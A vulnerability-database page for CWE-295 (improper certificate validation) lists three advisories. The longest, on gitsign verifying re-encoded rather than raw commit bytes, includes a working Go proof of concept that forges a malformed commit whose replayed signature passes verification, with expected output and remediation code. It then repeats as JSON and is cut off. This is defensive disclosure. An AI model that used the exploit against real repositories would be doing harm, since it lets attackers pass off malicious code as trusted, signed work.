Common Weakness Enumeration

CWE-295

Allowed

Improper Certificate Validation

Abstraction: Base · Status: Draft

The product does not validate, or incorrectly validates, a certificate.

1913 vulnerabilities reference this CWE, most recent first.

GHSA-7QWJ-RQ2V-GM66

Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2023-11-07 21:30
VLAI
Details

Details The certificate used to identify the Silver Peak Cloud Portal to EdgeConnect devices is not validated. This makes it possible for someone to establish a TLS connection from EdgeConnect to an untrusted portal. Product affected All versions affected prior to Silver Peak Unity ECOS™ 8.3.2+, 8.1.9.12+ and Silver Peak Unity Orchestrator™ 8.9.2+ Silver Peak Products Applicability Unity EdgeConnect, NX, VX Applicable Unity Orchestrator Applicable EdgeConnect in AWS, Azure, GCP Applicable Silver Peak Cloud Services Not Applicable Resolution • Changes have been made to strengthen the initial exchange between the EdgeConnect appliance and the Cloud Portal. After the changes, EdgeConnect will validate the certificate used to identify the Silver Peak Cloud Portal to EdgeConnect. • TLS itself is continually subject to newly discovered and exploitable vulnerabilities. As such, all versions of EdgeConnect software implement additional out-of-band and user-controlled authentication mechanisms. Any required configuration • Do not change Cloud Portal’s IP address as discovered by the EdgeConnect appliance. • Upgrade to Silver Peak Unity ECOS™ 8.3.2+ or 8.1.9.12+ and Silver Peak Unity Orchestrator™ 8.9.2+. • In Orchestrator, enable the “Verify Portal Certificate” option under Advanced Security Settings.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-12144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-05T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Details The certificate used to identify the Silver Peak Cloud Portal to EdgeConnect devices is not validated. This makes it possible for someone to establish a TLS connection from EdgeConnect to an untrusted portal. Product affected All versions affected prior to Silver Peak Unity ECOS\u2122 8.3.2+, 8.1.9.12+ and Silver Peak Unity Orchestrator\u2122 8.9.2+ Silver Peak Products Applicability Unity EdgeConnect, NX, VX Applicable Unity Orchestrator Applicable EdgeConnect in AWS, Azure, GCP Applicable Silver Peak Cloud Services Not Applicable Resolution \u2022 Changes have been made to strengthen the initial exchange between the EdgeConnect appliance and the Cloud Portal. After the changes, EdgeConnect will validate the certificate used to identify the Silver Peak Cloud Portal to EdgeConnect. \u2022 TLS itself is continually subject to newly discovered and exploitable vulnerabilities. As such, all versions of EdgeConnect software implement additional out-of-band and user-controlled authentication mechanisms. Any required configuration \u2022 Do not change Cloud Portal\u2019s IP address as discovered by the EdgeConnect appliance. \u2022 Upgrade to Silver Peak Unity ECOS\u2122 8.3.2+ or 8.1.9.12+ and Silver Peak Unity Orchestrator\u2122 8.9.2+. \u2022 In Orchestrator, enable the \u201cVerify Portal Certificate\u201d option under Advanced Security Settings.",
  "id": "GHSA-7qwj-rq2v-gm66",
  "modified": "2023-11-07T21:30:21Z",
  "published": "2022-05-24T22:28:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12144"
    },
    {
      "type": "WEB",
      "url": "https://www.silver-peak.com/sites/default/files/advisory/security_advisory_notice_rogue_portal-cve_2020_12144.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.silver-peak.com/sites/default/files/advisory/security_advisory_notice_rogue_portal_cve_2020_12144.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.silver-peak.com/support/user-documentation/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7RCM-GMRC-765X

Vulnerability from github – Published: 2022-05-17 02:39 – Updated: 2025-04-20 03:39
VLAI
Details

The "Blue Ridge Bank and Trust Co. Mobile Banking" by Blue Ridge Bank and Trust Co. app 3.0.1 -- aka blue-ridge-bank-and-trust-co-mobile-banking/id699679197 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-9597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-16T12:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The \"Blue Ridge Bank and Trust Co. Mobile Banking\" by Blue Ridge Bank and Trust Co. app 3.0.1 -- aka blue-ridge-bank-and-trust-co-mobile-banking/id699679197 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.",
  "id": "GHSA-7rcm-gmrc-765x",
  "modified": "2025-04-20T03:39:14Z",
  "published": "2022-05-17T02:39:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9597"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40chronic_9612/advisory-44-credit-union-apps-for-ios-may-allow-login-credential-exposure-4d2f380b85c5"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@chronic_9612/advisory-44-credit-union-apps-for-ios-may-allow-login-credential-exposure-4d2f380b85c5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7RMH-48MX-2VWC

Vulnerability from github – Published: 2026-05-08 22:38 – Updated: 2026-05-15 23:49
VLAI
Summary
gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits
Details

Summary

gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.

Severity

Medium (CVSS 3.1: 5.7)

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

  • Attack Vector: Network — a malformed commit can be distributed via any accessible git remote
  • Attack Complexity: High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)
  • Privileges Required: None — the most impactful form (signature replay) requires no signing key
  • User Interaction: Required — a victim must run gitsign verify on the malformed commit
  • Scope: Unchanged — impact is confined to the repository under verification
  • Confidentiality Impact: None
  • Integrity Impact: High — a verified signature appears to endorse content different from what git-core resolves and presents to users
  • Availability Impact: None

Affected Component

  • internal/commands/verify/verify.go(o *options).Run (line 75)
  • internal/commands/verify-tag/verify_tag.go(o *options).Run (line 77)
  • pkg/git/verify.goObjectHash (lines 126–158, specifically the commit() round-trip at 161–176)

CWE

  • CWE-347: Improper Verification of Cryptographic Signature
  • CWE-295: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered)

Description

Root cause: re-encoding instead of raw-byte verification

When gitsign verify is invoked, the commit is opened via go-git and its body is reconstructed through EncodeWithoutSignature before being passed to the cryptographic verifier:

// internal/commands/verify/verify.go:63–92
c, err := repo.CommitObject(*h)          // go-git parses the raw object
...
c2 := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(c2); err != nil {  // re-encodes canonical form
    return err
}
r, _ := c2.Reader()
data, _ := io.ReadAll(r)

summary, err := v.Verify(ctx, data, sig, true)   // verifies re-encoded bytes, not raw bytes

The same pattern appears in verify-tag:

// internal/commands/verify-tag/verify_tag.go:76–95
tagData := new(plumbing.MemoryObject)
if err := tagObj.EncodeWithoutSignature(tagData); err != nil {
    return err
}

The loose-parsing assumption in go-git

The codebase itself acknowledges the problem in ObjectHash:

// pkg/git/verify.go:137–142
// We're making big assumptions here about the ordering of fields
// in Git objects. Unfortunately go-git does loose parsing of objects,
// so it will happily decode objects that don't match the unmarshal type.
// We should see if there's a better way to detect object types.
switch {
case bytes.HasPrefix(data, []byte("tree ")):
    encoder, err = commit(obj, sig)

go-git's loose parsing means that for a commit containing two tree headers, it silently discards the first and retains the second. EncodeWithoutSignature then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves.

Divergent verification paths confirm the inconsistency

The git verify-commit path (internal/commands/root/verify.go) receives the raw commit bytes directly from git-core and does not re-encode them:

// internal/commands/root/verify.go:56–70
detached := len(args) >= 2
if detached {
    data, sig, err = readDetached(s, args...)  // raw bytes from git-core
} else {
    sig, err = readAttached(s, args...)
}
...
summary, err := v.Verify(ctx, data, sig, true)  // raw bytes, no re-encoding

The two paths therefore reach opposite conclusions for the same malformed commit: git verify-commit fails (raw bytes with both trees ≠ signed canonical bytes), while gitsign verify succeeds (re-encoded bytes match signed bytes).

Concrete attack: signature replay without a signing key

An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:

tree T1                        ← Alice's real tree (what go-git and gitsign see)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
 <Alice's valid signature over T1 canonical form>
 -----END SIGNED MESSAGE-----

This is Alice's commit.

An attacker crafts a new malformed commit object:

tree T2                        ← attacker's malicious tree (git-core uses this)
tree T1                        ← Alice's tree (go-git uses this)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
 <Alice's valid signature — replayed verbatim>
 -----END SIGNED MESSAGE-----

This is Alice's commit.
  • gitsign verify: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com."
  • git log / git-core: uses T2 (attacker-controlled content).
  • Rekor lookup: ObjectHash also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object.

The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs gitsign verify.

Proof of Concept

// poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go
package main

import (
    "context"
    "crypto"
    "crypto/ecdsa"
    "crypto/elliptic"
    "crypto/rand"
    "crypto/x509"
    "crypto/x509/pkix"
    "fmt"
    "io"
    "math/big"
    "strings"
    "time"

    "github.com/go-git/go-git/v5/plumbing"
    "github.com/go-git/go-git/v5/plumbing/object"
    "github.com/go-git/go-git/v5/storage/memory"
    "github.com/sigstore/gitsign/internal/signature"
    ggit "github.com/sigstore/gitsign/pkg/git"
)

type identity struct {
    cert *x509.Certificate
    priv crypto.Signer
}

func (i *identity) Certificate() (*x509.Certificate, error)       { return i.cert, nil }
func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }
func (i *identity) Signer() (crypto.Signer, error)                { return i.priv, nil }
func (i *identity) Delete() error                                  { return nil }
func (i *identity) Close()                                         {}

func indentSig(sig string) string {
    sig = strings.TrimSuffix(sig, "\n")
    lines := strings.Split(sig, "\n")
    out := "gpgsig " + lines[0] + "\n"
    for _, ln := range lines[1:] {
        out += " " + ln + "\n"
    }
    return out
}

func main() {
    priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
    tmpl := &x509.Certificate{
        SerialNumber:          big.NewInt(1),
        Subject:               pkix.Name{CommonName: "attacker"},
        NotBefore:             time.Now().Add(-time.Minute),
        NotAfter:              time.Now().Add(time.Hour),
        KeyUsage:              x509.KeyUsageDigitalSignature,
        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
        BasicConstraintsValid: true,
    }
    rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
    cert, _ := x509.ParseCertificate(rawCert)

    treeFirst  := strings.Repeat("a", 40) // git-core uses this
    treeSecond := strings.Repeat("b", 40) // go-git uses this
    author     := "author Eve <eve@example.com> 1700000000 +0000"
    committer  := "committer Eve <eve@example.com> 1700000000 +0000"
    msg        := "msg\n"

    // Sign the go-git canonical form (second tree only)
    canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg)
    id := &identity{cert: cert, priv: priv}
    resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),
        signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})
    if err != nil {
        panic(err)
    }

    // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)
    malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s",
        treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)

    st := memory.NewStorage()
    enc := st.NewEncodedObject()
    enc.SetType(plumbing.CommitObject)
    w, _ := enc.Writer()
    _, _ = w.Write([]byte(malformedRaw))
    _ = w.Close()
    c, err := object.DecodeCommit(st, enc)
    if err != nil {
        panic(err)
    }

    // Reproduce what gitsign verify does
    out := new(plumbing.MemoryObject)
    if err := c.EncodeWithoutSignature(out); err != nil {
        panic(err)
    }
    r, _ := out.Reader()
    verifyData, _ := io.ReadAll(r)

    roots := x509.NewCertPool()
    roots.AddCert(cert)
    v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))
    _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)

    objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))
    rawObj := &plumbing.MemoryObject{}
    rawObj.SetType(plumbing.CommitObject)
    _, _ = rawObj.Write([]byte(malformedRaw))

    fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst)
    fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond)
    fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String())
    fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData)
    fmt.Println("CERT_VERIFY_ERROR:", verr)           // nil = signature accepted
    fmt.Println("OBJECTHASH_ERROR:", oerr)
    fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash)
    fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash
}

Expected output:

FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SECOND_TREE_IN_RAW (go-git):  bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
GO_GIT_PARSED_TREE:            bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
VERIFY_DATA_EQUALS_CANONICAL:  true
CERT_VERIFY_ERROR:             <nil>          ← signature accepted
OBJECTHASH_ERROR:              <nil>
OBJECTHASH_FROM_VERIFY_DATA:   <hash of canonical form>
RAW_MALFORMED_COMMIT_HASH:     <different hash>   ← hash mismatch confirms split

Impact

  • Signature binding bypass: gitsign verify reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).
  • Signature replay without a key: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes gitsign verify but points to attacker-controlled content, without possessing any signing key.
  • Rekor tlog inconsistency: ObjectHash also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.
  • Verification path divergence: git verify-commit and gitsign verify reach opposite verdicts for the same malformed commit, undermining auditability.

Recommended Remediation

Option 1: Verify against raw bytes (preferred)

Change the gitsign verify and gitsign verify-tag CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what commandVerify already does when called by git verify-commit:

// internal/commands/verify/verify.go — replace lines 63–92
enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)
if err != nil {
    return fmt.Errorf("error reading encoded commit object: %w", err)
}
r, err := enc.Reader()
if err != nil {
    return err
}
rawBytes, err := io.ReadAll(r)
if err != nil {
    return err
}
data, sig, err := git.ExtractSignatureFromRawObject(rawBytes)
if err != nil {
    return err
}
// data is now the raw bytes without the gpgsig header — identical to what git-core passes
summary, err := v.Verify(ctx, data, sig, true)

This aligns the CLI verification path with the commandVerify (git verify-commit) path that already handles raw bytes correctly.

Option 2: Detect and reject malformed objects

Add a pre-verification check in ObjectHash and in the verification path that rejects objects with duplicate field headers (duplicate tree, parent, author, committer), returning an error rather than silently normalizing:

func validateRawCommitFields(data []byte) error {
    seen := map[string]bool{}
    for _, line := range bytes.Split(data, []byte("\n")) {
        if idx := bytes.IndexByte(line, ' '); idx > 0 {
            key := string(line[:idx])
            if seen[key] {
                return fmt.Errorf("malformed commit: duplicate field %q", key)
            }
            seen[key] = true
        }
        if len(line) == 0 {
            break // end of headers
        }
    }
    return nil
}

This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/gitsign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:38:50Z",
    "nvd_published_at": "2026-05-15T17:16:47Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git\u0027s `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.7)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network \u2014 a malformed commit can be distributed via any accessible git remote\n- **Attack Complexity:** High \u2014 exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)\n- **Privileges Required:** None \u2014 the most impactful form (signature replay) requires no signing key\n- **User Interaction:** Required \u2014 a victim must run `gitsign verify` on the malformed commit\n- **Scope:** Unchanged \u2014 impact is confined to the repository under verification\n- **Confidentiality Impact:** None\n- **Integrity Impact:** High \u2014 a verified signature appears to endorse content different from what git-core resolves and presents to users\n- **Availability Impact:** None\n\n## Affected Component\n\n- `internal/commands/verify/verify.go` \u2014 `(o *options).Run` (line 75)\n- `internal/commands/verify-tag/verify_tag.go` \u2014 `(o *options).Run` (line 77)\n- `pkg/git/verify.go` \u2014 `ObjectHash` (lines 126\u2013158, specifically the `commit()` round-trip at 161\u2013176)\n\n## CWE\n\n- **CWE-347**: Improper Verification of Cryptographic Signature\n- **CWE-295**: Improper Certificate Validation (secondary \u2014 the mismatch allows a cert to appear to cover content it never covered)\n\n## Description\n\n### Root cause: re-encoding instead of raw-byte verification\n\nWhen `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier:\n\n```go\n// internal/commands/verify/verify.go:63\u201392\nc, err := repo.CommitObject(*h)          // go-git parses the raw object\n...\nc2 := new(plumbing.MemoryObject)\nif err := c.EncodeWithoutSignature(c2); err != nil {  // re-encodes canonical form\n    return err\n}\nr, _ := c2.Reader()\ndata, _ := io.ReadAll(r)\n\nsummary, err := v.Verify(ctx, data, sig, true)   // verifies re-encoded bytes, not raw bytes\n```\n\nThe same pattern appears in `verify-tag`:\n\n```go\n// internal/commands/verify-tag/verify_tag.go:76\u201395\ntagData := new(plumbing.MemoryObject)\nif err := tagObj.EncodeWithoutSignature(tagData); err != nil {\n    return err\n}\n```\n\n### The loose-parsing assumption in go-git\n\nThe codebase itself acknowledges the problem in `ObjectHash`:\n\n```go\n// pkg/git/verify.go:137\u2013142\n// We\u0027re making big assumptions here about the ordering of fields\n// in Git objects. Unfortunately go-git does loose parsing of objects,\n// so it will happily decode objects that don\u0027t match the unmarshal type.\n// We should see if there\u0027s a better way to detect object types.\nswitch {\ncase bytes.HasPrefix(data, []byte(\"tree \")):\n    encoder, err = commit(obj, sig)\n```\n\ngo-git\u0027s loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree \u2014 which can differ from what git-core resolves.\n\n### Divergent verification paths confirm the inconsistency\n\nThe `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them:\n\n```go\n// internal/commands/root/verify.go:56\u201370\ndetached := len(args) \u003e= 2\nif detached {\n    data, sig, err = readDetached(s, args...)  // raw bytes from git-core\n} else {\n    sig, err = readAttached(s, args...)\n}\n...\nsummary, err := v.Verify(ctx, data, sig, true)  // raw bytes, no re-encoding\n```\n\nThe two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees \u2260 signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes).\n\n### Concrete attack: signature replay without a signing key\n\nAn attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:\n\n```\ntree T1                        \u2190 Alice\u0027s real tree (what go-git and gitsign see)\nauthor Alice \u003calice@corp.com\u003e ...\ncommitter Alice \u003calice@corp.com\u003e ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n \u003cAlice\u0027s valid signature over T1 canonical form\u003e\n -----END SIGNED MESSAGE-----\n\nThis is Alice\u0027s commit.\n```\n\nAn attacker crafts a new malformed commit object:\n\n```\ntree T2                        \u2190 attacker\u0027s malicious tree (git-core uses this)\ntree T1                        \u2190 Alice\u0027s tree (go-git uses this)\nauthor Alice \u003calice@corp.com\u003e ...\ncommitter Alice \u003calice@corp.com\u003e ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n \u003cAlice\u0027s valid signature \u2014 replayed verbatim\u003e\n -----END SIGNED MESSAGE-----\n\nThis is Alice\u0027s commit.\n```\n\n- **`gitsign verify`**: go-git picks T1, re-encodes, Alice\u0027s signature verifies. Output: \"Good signature from alice@corp.com.\"\n- **`git log` / `git-core`**: uses T2 (attacker-controlled content).\n- **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash \u2014 consistent with the forged verification output but not with the actual raw object.\n\nThe attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`.\n\n## Proof of Concept\n\n```go\n// poc_tree_mismatch.go \u2014 run from repo root: go run ./poc_tree_mismatch.go\npackage main\n\nimport (\n    \"context\"\n    \"crypto\"\n    \"crypto/ecdsa\"\n    \"crypto/elliptic\"\n    \"crypto/rand\"\n    \"crypto/x509\"\n    \"crypto/x509/pkix\"\n    \"fmt\"\n    \"io\"\n    \"math/big\"\n    \"strings\"\n    \"time\"\n\n    \"github.com/go-git/go-git/v5/plumbing\"\n    \"github.com/go-git/go-git/v5/plumbing/object\"\n    \"github.com/go-git/go-git/v5/storage/memory\"\n    \"github.com/sigstore/gitsign/internal/signature\"\n    ggit \"github.com/sigstore/gitsign/pkg/git\"\n)\n\ntype identity struct {\n    cert *x509.Certificate\n    priv crypto.Signer\n}\n\nfunc (i *identity) Certificate() (*x509.Certificate, error)       { return i.cert, nil }\nfunc (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }\nfunc (i *identity) Signer() (crypto.Signer, error)                { return i.priv, nil }\nfunc (i *identity) Delete() error                                  { return nil }\nfunc (i *identity) Close()                                         {}\n\nfunc indentSig(sig string) string {\n    sig = strings.TrimSuffix(sig, \"\\n\")\n    lines := strings.Split(sig, \"\\n\")\n    out := \"gpgsig \" + lines[0] + \"\\n\"\n    for _, ln := range lines[1:] {\n        out += \" \" + ln + \"\\n\"\n    }\n    return out\n}\n\nfunc main() {\n    priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n    tmpl := \u0026x509.Certificate{\n        SerialNumber:          big.NewInt(1),\n        Subject:               pkix.Name{CommonName: \"attacker\"},\n        NotBefore:             time.Now().Add(-time.Minute),\n        NotAfter:              time.Now().Add(time.Hour),\n        KeyUsage:              x509.KeyUsageDigitalSignature,\n        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},\n        BasicConstraintsValid: true,\n    }\n    rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, \u0026priv.PublicKey, priv)\n    cert, _ := x509.ParseCertificate(rawCert)\n\n    treeFirst  := strings.Repeat(\"a\", 40) // git-core uses this\n    treeSecond := strings.Repeat(\"b\", 40) // go-git uses this\n    author     := \"author Eve \u003ceve@example.com\u003e 1700000000 +0000\"\n    committer  := \"committer Eve \u003ceve@example.com\u003e 1700000000 +0000\"\n    msg        := \"msg\\n\"\n\n    // Sign the go-git canonical form (second tree only)\n    canonicalData := fmt.Sprintf(\"tree %s\\n%s\\n%s\\n\\n%s\", treeSecond, author, committer, msg)\n    id := \u0026identity{cert: cert, priv: priv}\n    resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),\n        signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})\n    if err != nil {\n        panic(err)\n    }\n\n    // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)\n    malformedRaw := fmt.Sprintf(\"tree %s\\ntree %s\\n%s\\n%s\\n%s\\n%s\",\n        treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)\n\n    st := memory.NewStorage()\n    enc := st.NewEncodedObject()\n    enc.SetType(plumbing.CommitObject)\n    w, _ := enc.Writer()\n    _, _ = w.Write([]byte(malformedRaw))\n    _ = w.Close()\n    c, err := object.DecodeCommit(st, enc)\n    if err != nil {\n        panic(err)\n    }\n\n    // Reproduce what gitsign verify does\n    out := new(plumbing.MemoryObject)\n    if err := c.EncodeWithoutSignature(out); err != nil {\n        panic(err)\n    }\n    r, _ := out.Reader()\n    verifyData, _ := io.ReadAll(r)\n\n    roots := x509.NewCertPool()\n    roots.AddCert(cert)\n    v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))\n    _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)\n\n    objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))\n    rawObj := \u0026plumbing.MemoryObject{}\n    rawObj.SetType(plumbing.CommitObject)\n    _, _ = rawObj.Write([]byte(malformedRaw))\n\n    fmt.Println(\"FIRST_TREE_IN_RAW (git-core):\", treeFirst)\n    fmt.Println(\"SECOND_TREE_IN_RAW (go-git):\", treeSecond)\n    fmt.Println(\"GO_GIT_PARSED_TREE:\", c.TreeHash.String())\n    fmt.Println(\"VERIFY_DATA_EQUALS_CANONICAL:\", string(verifyData) == canonicalData)\n    fmt.Println(\"CERT_VERIFY_ERROR:\", verr)           // nil = signature accepted\n    fmt.Println(\"OBJECTHASH_ERROR:\", oerr)\n    fmt.Println(\"OBJECTHASH_FROM_VERIFY_DATA:\", objHash)\n    fmt.Println(\"RAW_MALFORMED_COMMIT_HASH:\", rawObj.Hash().String()) // differs from objHash\n}\n```\n\n**Expected output:**\n\n```\nFIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nSECOND_TREE_IN_RAW (go-git):  bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nGO_GIT_PARSED_TREE:            bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nVERIFY_DATA_EQUALS_CANONICAL:  true\nCERT_VERIFY_ERROR:             \u003cnil\u003e          \u2190 signature accepted\nOBJECTHASH_ERROR:              \u003cnil\u003e\nOBJECTHASH_FROM_VERIFY_DATA:   \u003chash of canonical form\u003e\nRAW_MALFORMED_COMMIT_HASH:     \u003cdifferent hash\u003e   \u2190 hash mismatch confirms split\n```\n\n## Impact\n\n- **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).\n- **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key.\n- **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.\n- **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability.\n\n## Recommended Remediation\n\n### Option 1: Verify against raw bytes (preferred)\n\nChange the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`:\n\n```go\n// internal/commands/verify/verify.go \u2014 replace lines 63\u201392\nenc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)\nif err != nil {\n    return fmt.Errorf(\"error reading encoded commit object: %w\", err)\n}\nr, err := enc.Reader()\nif err != nil {\n    return err\n}\nrawBytes, err := io.ReadAll(r)\nif err != nil {\n    return err\n}\ndata, sig, err := git.ExtractSignatureFromRawObject(rawBytes)\nif err != nil {\n    return err\n}\n// data is now the raw bytes without the gpgsig header \u2014 identical to what git-core passes\nsummary, err := v.Verify(ctx, data, sig, true)\n```\n\nThis aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly.\n\n### Option 2: Detect and reject malformed objects\n\nAdd a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing:\n\n```go\nfunc validateRawCommitFields(data 